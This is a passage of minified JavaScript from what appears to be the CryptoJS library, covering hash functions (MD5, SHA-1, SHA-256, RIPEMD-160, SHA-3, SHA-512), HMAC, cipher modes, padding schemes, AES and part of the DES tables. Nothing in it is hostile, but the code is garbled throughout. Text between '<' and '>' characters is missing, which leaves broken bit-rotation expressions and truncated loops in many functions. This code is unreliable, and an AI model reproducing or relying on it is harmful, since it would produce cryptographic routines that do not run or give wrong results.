]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:6